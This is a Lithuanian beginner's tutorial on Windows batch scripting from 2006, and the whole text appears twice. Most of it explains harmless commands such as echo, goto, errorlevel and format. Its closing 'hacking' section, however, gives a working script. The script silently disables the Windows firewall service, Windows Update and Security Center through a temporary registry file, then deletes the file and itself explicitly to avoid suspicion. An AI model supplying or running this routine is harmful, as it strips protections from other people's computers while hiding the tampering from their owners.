Bat scriptinimas
Parašytas: 2006 04 08 13:28
____________________Bat scriptinimo pradziamokslis____________
Bat scriptinimas susideda is dos komandu, rasomas i tekstini dokumenta ir baige scripta, issaugome pletiniu bat arba cmd.(pvz scriptas.bat arba scriptas.cmd). Noredami ji redaguoti arba perziureti jos turini ant rinkmenos spaudziame desini klavisa ir pasirenkame "edit".
Pabandysime sukurti paprasta bat scripta. I tekstini dokumenta irasome:
regedit
pause
regedit - iskviecia registro valdymo tvarkykle
pause sustabdo komandine eilute, jei nenorime, kad viskas butu sustabdyta tada sios komandos nerasykite.
Idemiau isiziureje galime pastebeti visokius irasus kuriu nenorime matyti paleide bat faila, kur jis buvo paleistas, kokios komandos buvo vykdomos, trumpiau tariant viskas parodoma atviromis kortomis.
Tarkim reikia paslepti komandas, kad pasaline akis ju nematytu, tai scripto pradzioje iveskime "echo off"
echo off
regedit
pause
bus matomas tik "echo off" uzrasas, likusieji ne, bet jei scripta pakoreguotume:
echo off
echo regedit
pause
tai bus matomi "echo off" ir "regedit", bet po echo regedit komanda siuo atveju nebus ivykdoma, o bus pateiktas, kaip uzrasas, kuri galesime pamatyti, kaip rezultata. Ir jeigu
pakeisime zodi "off" i "on" tai bus pateikta, be jokiu paslepimu, t.y bus matoma "direktorija" is kur paleista buvo, kokios komandos buvo vykdomos, parasyti uzrasai.
O jeigu mums svarbiausia paslepti visus duomenis, is kur buvo paleista, kokios komandos vykdomos, tereikia prirasyti @ zenkliuka, o pirmoji eilute atrodytu:
@echo off
Uzrasai bus matomi. Atminkite visas jusu komandos bus atliktos nuosekliai.
Kartais gali prireikti, sukurti scripta, kuris paleistu viena ar kita programa. Nukopijuojame, jos adresa "directory", ir nukopijuojame i teksto redaktoriu "notepad", tarkim musu tikslas paleisti nmap:
C:\nmap\nmap-3.999
o jeigu pries sia komanda parasysime start, tai komanda bus ivykdyta kitame komandines eilutesl ange, bet deja ivykdys tokiu greiciu, kad nespesit perskaityti visa informacija isvedama i langa, tada teks ivykdyti sia komanda, bet ji po trumpo laiko dings:
C:\nmap\nmap-3.999 stop
Kartais gali prireikti, kad 2x spragtelejus bat scripta, reiktu koreguoti teksta ar kito failo vidurius su "notepad" esanti tam tikroje vietoje:
start notepad c:\superapp.out
Ivykdzius pirmakart sia komanda, bus pasiulyta ar norite sukurti faila "superapp.out" (galima sugalvoti ir savo "directory", kur jis bus issaugotas, pavadinima, jei nenurodysite pletinio (pvz: exe, doc, bat, jpg,avi,...) bus nustatytas kaip tekstinis dokumentas. Sutike (paspaudus "yes") ji sukurs ir iskvies "notepad", kuriuo galesite modifikuoti faila.
Bet jei musu tikslas neparodyti, kad bus sukurtas tam tikras failas, tada musu scriptas atrodys taip:
call superapp>c:\superapp.out
Galime savo nuoziura irasyti "@echo off" i kodo pradzia.
Kartais reikalinga komanda, kuri galetu ivydyti viena veiksma, o jei jis negalimas, tada butu iskvieciama kita komanda, todel panaudosime "goto":
@echo off
format a:
if not errorlevel 1 goto end
echo neivykdzius pirmos komandos, bus rodomas sis uzrasas
Komanda patys galite pakeisti, patobulinti ir panaudoti savais tikslais, trecioje eiluteje sios komandos "if not errorlevel 1 goto end" nekeiskite. ISPEJIMAS: paziurekite ar nera jusu kompiuteryje ideto diskelio ir nesumastykite ideti diskeli su svarbiais duomenimis pasirodzius uzrasui "Insert new disk for drive A: and press ENTER when ready", o jus
paspauskite ENTER ir pamatysite ketvirtos eilutes uzrasa!
Galime panaudoti ir sudetingesni atveji:
IF EXIST aplankas. (del aplankalas.) ELSE echo aplanko nera
jei egzistuoja "aplankas", tada jis pasalintas, jei ne, isvedama "aplanko nera"
arba:
goto answer%errorlevel%
:answer0 jei atsakymas 0
echo Program had return code 0 tai bus vykdoma si komanda
:answer1 bet jei atsakymas 1
echo Program had return code 1 kitas variantas
goto end
:end
echo done!
Tarkim, kad paleidom musu sukurta scripta ir jis ismete "error"- ivyko klaida ir komandines eilutes langas issijungia, o mes nenorime kad jis issijungtu, tada truputi modifikuojam koda:
@echo off
:begin
format a:
echo Idekite diskeli, irenginyje jis nerastas!
pause
goto begin
Programuojant bat scripta, gali prireikti komentarai ir kita informacija neisvedama i galini rezultata.
@echo off
rem Si programa formatuoja ir patikrina diska
rem ieskoma failo check.bat
rem
echo Prasome ideti nauja diska
pause
format b: /v
chkdsk b:
pause
Hakinime reikalinga komanda, kuri sukurtu registro faila aplankale ("Temp"-laikinu failu "directorija"), kuri gali pakeisti registro struktura:
> "%Temp%.\kill.reg" ECHO REGEDIT4
Si komanda sukuria registro faila
C:\Documents and Settings\Vartotojo vardas\Local Settings\Temp
Ir pamatysime "kill.reg" byla nurodytame aplankale, kuriame bus vienintelis irasas "REGEDIT4":
>>"%Temp%.\kill.reg" ECHO.
"kill.reg" registro byloje bus praleista eilute.
ECHO gali buti be tasko, pridedamos eilutes su turiniu einanciu po ECHO komandos:
>>"%Temp%.\kill.reg" ECHO
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
SharedAccess- atsakingas uz kompiuterio dalijimus, saugoma visa informacija apie juos. Jei neaisku duosiu pavizdi kaip reikia padalinti byla ar kita dokumenta tinkle esanciam kompiuterui, ant bet kokios bylos spaudziame desine peles klavisa, pasirenkame "properties",
o tada isirenkama skilti "sharing". Trecioje eiluteje i registro rakta irasoma, kokia reiksme reikes nurodyti, musu atveju bus 00000004, kuri atjungia si "servisa".
Paabandysiu aprasyti kita idomu "servisa", kuris atsako uz windows update (win sistemos atnaujinimus).
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
Kitas registro raktas, kuris isjungia ant windows xp esama "security Center"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
"Start"=dword:00000004
Sie registro paaiskinimai butu nieko verti jei, ju negaletume realizuoti, paleide bat scripta padaryti pakeitimus sistemoje:
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
Ir kad nekiltu itarimu istrinsime "kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
daugiau dos komandu rasite http://www.gamezone.lt/diskusijos/viewtopic.php?t=3351
_____Pradziamokslio pabaiga__by mrg
Bat scriptinimas susideda is dos komandu, rasomas i tekstini dokumenta ir baige scripta, issaugome pletiniu bat arba cmd.(pvz scriptas.bat arba scriptas.cmd). Noredami ji redaguoti arba perziureti jos turini ant rinkmenos spaudziame desini klavisa ir pasirenkame "edit".
Pabandysime sukurti paprasta bat scripta. I tekstini dokumenta irasome:
regedit
pause
regedit - iskviecia registro valdymo tvarkykle
pause sustabdo komandine eilute, jei nenorime, kad viskas butu sustabdyta tada sios komandos nerasykite.
Idemiau isiziureje galime pastebeti visokius irasus kuriu nenorime matyti paleide bat faila, kur jis buvo paleistas, kokios komandos buvo vykdomos, trumpiau tariant viskas parodoma atviromis kortomis.
Tarkim reikia paslepti komandas, kad pasaline akis ju nematytu, tai scripto pradzioje iveskime "echo off"
echo off
regedit
pause
bus matomas tik "echo off" uzrasas, likusieji ne, bet jei scripta pakoreguotume:
echo off
echo regedit
pause
tai bus matomi "echo off" ir "regedit", bet po echo regedit komanda siuo atveju nebus ivykdoma, o bus pateiktas, kaip uzrasas, kuri galesime pamatyti, kaip rezultata. Ir jeigu
pakeisime zodi "off" i "on" tai bus pateikta, be jokiu paslepimu, t.y bus matoma "direktorija" is kur paleista buvo, kokios komandos buvo vykdomos, parasyti uzrasai.
O jeigu mums svarbiausia paslepti visus duomenis, is kur buvo paleista, kokios komandos vykdomos, tereikia prirasyti @ zenkliuka, o pirmoji eilute atrodytu:
@echo off
Uzrasai bus matomi. Atminkite visas jusu komandos bus atliktos nuosekliai.
Kartais gali prireikti, sukurti scripta, kuris paleistu viena ar kita programa. Nukopijuojame, jos adresa "directory", ir nukopijuojame i teksto redaktoriu "notepad", tarkim musu tikslas paleisti nmap:
C:\nmap\nmap-3.999
o jeigu pries sia komanda parasysime start, tai komanda bus ivykdyta kitame komandines eilutesl ange, bet deja ivykdys tokiu greiciu, kad nespesit perskaityti visa informacija isvedama i langa, tada teks ivykdyti sia komanda, bet ji po trumpo laiko dings:
C:\nmap\nmap-3.999 stop
Kartais gali prireikti, kad 2x spragtelejus bat scripta, reiktu koreguoti teksta ar kito failo vidurius su "notepad" esanti tam tikroje vietoje:
start notepad c:\superapp.out
Ivykdzius pirmakart sia komanda, bus pasiulyta ar norite sukurti faila "superapp.out" (galima sugalvoti ir savo "directory", kur jis bus issaugotas, pavadinima, jei nenurodysite pletinio (pvz: exe, doc, bat, jpg,avi,...) bus nustatytas kaip tekstinis dokumentas. Sutike (paspaudus "yes") ji sukurs ir iskvies "notepad", kuriuo galesite modifikuoti faila.
Bet jei musu tikslas neparodyti, kad bus sukurtas tam tikras failas, tada musu scriptas atrodys taip:
call superapp>c:\superapp.out
Galime savo nuoziura irasyti "@echo off" i kodo pradzia.
Kartais reikalinga komanda, kuri galetu ivydyti viena veiksma, o jei jis negalimas, tada butu iskvieciama kita komanda, todel panaudosime "goto":
@echo off
format a:
if not errorlevel 1 goto end
echo neivykdzius pirmos komandos, bus rodomas sis uzrasas
Komanda patys galite pakeisti, patobulinti ir panaudoti savais tikslais, trecioje eiluteje sios komandos "if not errorlevel 1 goto end" nekeiskite. ISPEJIMAS: paziurekite ar nera jusu kompiuteryje ideto diskelio ir nesumastykite ideti diskeli su svarbiais duomenimis pasirodzius uzrasui "Insert new disk for drive A: and press ENTER when ready", o jus
paspauskite ENTER ir pamatysite ketvirtos eilutes uzrasa!
Galime panaudoti ir sudetingesni atveji:
IF EXIST aplankas. (del aplankalas.) ELSE echo aplanko nera
jei egzistuoja "aplankas", tada jis pasalintas, jei ne, isvedama "aplanko nera"
arba:
goto answer%errorlevel%
:answer0 jei atsakymas 0
echo Program had return code 0 tai bus vykdoma si komanda
:answer1 bet jei atsakymas 1
echo Program had return code 1 kitas variantas
goto end
:end
echo done!
Tarkim, kad paleidom musu sukurta scripta ir jis ismete "error"- ivyko klaida ir komandines eilutes langas issijungia, o mes nenorime kad jis issijungtu, tada truputi modifikuojam koda:
@echo off
:begin
format a:
echo Idekite diskeli, irenginyje jis nerastas!
pause
goto begin
Programuojant bat scripta, gali prireikti komentarai ir kita informacija neisvedama i galini rezultata.
@echo off
rem Si programa formatuoja ir patikrina diska
rem ieskoma failo check.bat
rem
echo Prasome ideti nauja diska
pause
format b: /v
chkdsk b:
pause
Hakinime reikalinga komanda, kuri sukurtu registro faila aplankale ("Temp"-laikinu failu "directorija"), kuri gali pakeisti registro struktura:
> "%Temp%.\kill.reg" ECHO REGEDIT4
Si komanda sukuria registro faila
C:\Documents and Settings\Vartotojo vardas\Local Settings\Temp
Ir pamatysime "kill.reg" byla nurodytame aplankale, kuriame bus vienintelis irasas "REGEDIT4":
>>"%Temp%.\kill.reg" ECHO.
"kill.reg" registro byloje bus praleista eilute.
ECHO gali buti be tasko, pridedamos eilutes su turiniu einanciu po ECHO komandos:
>>"%Temp%.\kill.reg" ECHO
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
SharedAccess- atsakingas uz kompiuterio dalijimus, saugoma visa informacija apie juos. Jei neaisku duosiu pavizdi kaip reikia padalinti byla ar kita dokumenta tinkle esanciam kompiuterui, ant bet kokios bylos spaudziame desine peles klavisa, pasirenkame "properties",
o tada isirenkama skilti "sharing". Trecioje eiluteje i registro rakta irasoma, kokia reiksme reikes nurodyti, musu atveju bus 00000004, kuri atjungia si "servisa".
Paabandysiu aprasyti kita idomu "servisa", kuris atsako uz windows update (win sistemos atnaujinimus).
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
Kitas registro raktas, kuris isjungia ant windows xp esama "security Center"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
"Start"=dword:00000004
Sie registro paaiskinimai butu nieko verti jei, ju negaletume realizuoti, paleide bat scripta padaryti pakeitimus sistemoje:
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
Ir kad nekiltu itarimu istrinsime "kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
daugiau dos komandu rasite http://www.gamezone.lt/diskusijos/viewtopic.php?t=3351
_____Pradziamokslio pabaiga__by mrg